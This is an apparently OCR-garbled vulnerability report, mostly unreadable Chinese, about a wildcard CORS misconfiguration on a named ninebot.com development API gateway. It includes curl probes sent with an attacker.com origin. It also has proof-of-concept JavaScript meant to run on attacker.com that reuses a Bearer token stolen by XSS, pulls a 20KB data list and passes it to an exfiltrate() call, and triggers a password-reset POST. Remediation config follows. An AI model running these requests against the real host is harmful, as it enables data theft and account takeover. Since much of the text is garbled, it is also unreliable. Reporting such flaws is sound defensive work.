CSRF2 — Saturn-Portal

CORS BHEALE
[ MEDIUM-HIGH]

IR : 2026-07-11

IR : Linux Hermes (A4EIRE HbIRIRMAATIET)

B#Z : cn-dev-oms-gateway.ninebot.com (Saturn-Portal API)
%71 : #3 CSRF (% CSRF1)

N CEYS

cn-dev-oms-gateway.ninebot.com (Saturn-Portal API #i%) f] CORS BCET2BIM :

- {247 Origin #PIR[A] Access-Control-Allow-Origin: *

- AFFEAT HTTP header (413% Authorization Bearer token)

- F07F 6 {E HTTP ;7% (GET/POST/PUT/DELETE/PATCH/OPTIONS)

- BB KRG NIR/AT)FI8k ( https://ninebot.com ) , https://attacker.com HEAKIE B



ra i

CORS ¥ & Origin FZEfE (OPTIONS TEAR)

Origin

https://ninebot.com 200 OK Allow-Origin: * + Allow-Headers: * + £EB/i%
https://*.ninebot.com 200 OK [_E

https://willand.com 200 OK [L

https://navimow.com 200 OK @E -

http://ninebot.com 200 OK [k

null 200 OK [_L

https://attacker.com 200 OK [_E

https://ninebot.com.evil.com 200 OK [L

https://ninebotcom.evil.com 200 OK [L

5C# CORS #JE (ATA origin —2X)

HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, PATCH
Access-Control-Allow-Headers: *

IR IRIRmE (GET 553K)

curl -H "Origin: https://attacker.com" \
"https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/v2/number-list"

B
- HTTP 200
- CORS: Access-Control-Allow-Origin: *

- Body: {"code":0,"msg":"success", "key":"response.success","data":[{"englishName":"Afghanistan”...

20,346 bytes TTEHIFIR [O45 attacker.com origin !



¥fEk — SSO 0 Platform U2k

Um2h CORS %8

cn-dev-oms-gateway/saturn-portal/* STLBAMK * + * headers
platform.ninebot.com/ (CSRF1) Bk * +5 Ak
sso-app.ninebot.com/user/api/sso/v1/login 403 (B4R FTA Origin)

Saturn-Portal B2 EEZH.

KEIHR
e 1 : & XSS 1y Bearer Token

1. Attacker £ app.ninebot.com (BX{E{T ninebot.com Fi&) AEHA XSS
2. 2EHZE ) Saturn-Portal , token % localStorage

3. XSS payload ;EHX localStorage HX45 Bearer token
4

. 1¢ attacker.com 2&ig :
js fetch('https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/auth/v1/me", { headers:

{ 'Authorization': ‘Bearer ${stolen_token}‘' } })
5. BIEFSRIETEEESK | CORS * frifaEBnsEfE
6. Attacker £ZI|H BT &R

e 2 BIEREUERBI (ESAEImEL)
5 /number-list ZE/\BHumEL -

// 1€ attacker.com _E
fetch('https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/v2/number-list")
.then(r => r.json())
.then(data => exfiltrate(data))

BIEE R 42 (K% CORS * ) , attacker &%) 20KB i35,
355 3 : CSRF {4 POST/PUT/DELETE 55

Bi{#i% A Bearer token , CORS BCE {3 ftaiEis, POST :



fetch("https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/reset/password/v2/email’, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: 'victim@victim.com' })

)

# saturn-portal £ POST HSEERATELE (BAFPEEAE cookie CEENEE)  HEAR
attacker.com i HIEEE .,

et

R#& Al

UNEIE S22 6 S8R (/number-list 20KB)
Bearer token FZ & XSS IBATT4T

E# CSRF state-changing BRI B iZip 2L R AR cookie
BAHEERE LOW ({&% CORS ACE)

485F : MEDIUM-HIGH (CORS * + * headers £ 41BIACE ; % credentials flag fRFIF| FBEEE])

El CSRF1 HI& |

CSRF2 (AIWiR)

BiZ platform.ninebot.com cn-dev-oms-gateway.ninebot.com/saturn-portal /*
CORS [fi& & F (5 Ak, # * headers) WRESZ (6 AL + * headers + BT origin)
HUgIR RS o £ (20KB number-list)

WEERE Eit & (E(TABSEERRERS ISR



BEER
s BM{&1E (CORS firH)

¥R BRE, MARERRE

add_header Access-Control-Allow-Origin "https://app.ninebot.com" always;
add_header Access-Control-Allow-Methods "GET, POST" always;

add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;

t SETLMbs CORS header (ANEARFEHEITAR)

FRIEE

. BIEKRE AR ABREL ( /number-list A<NEEZE Bearer auth)

. saturn-portal Y2438 Bearer auth (BP{& health check tE:R%)
. BV Bearer token /N localStorage (22 httpOnly cookie)

. CORS preflight 4277 iz 45 05E] (max-age A EBR)

A W N P

RABR

1. 12 CSP (Content-Security-Policy) FiiE XSS
2. B2 Subresource Integrity (SRI)

3. EXF SameSite=Strict cookies

4. 1A APl 1T origin EiFE



TREIRLER

# 1. R4 origin FETAMEES

curl -X OPTIONS \
-H "Origin: https://attacker.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: authorization,content-type" \
"https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/auth/v1/me" \
-i

¥ TASAZSE

# HTTP/1.1 200 OK

# Access-Control-Allow-Origin: *

# Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, PATCH
# Access-Control-Allow-Headers: *

# 2. {EM origin FEEVABIEUE

curl -H "Origin: https://attacker.com" \
"https://cn-dev-oms-gateway.ninebot.com/saturn-portal/api/common/user/account/v2/number-1list"

# TEHA : IR[E] 20346 bytes 5T# JSON Hiig

AR : 2026-07-11
JEXZE : Linux Hermes
AHH O : 43.160.194.36
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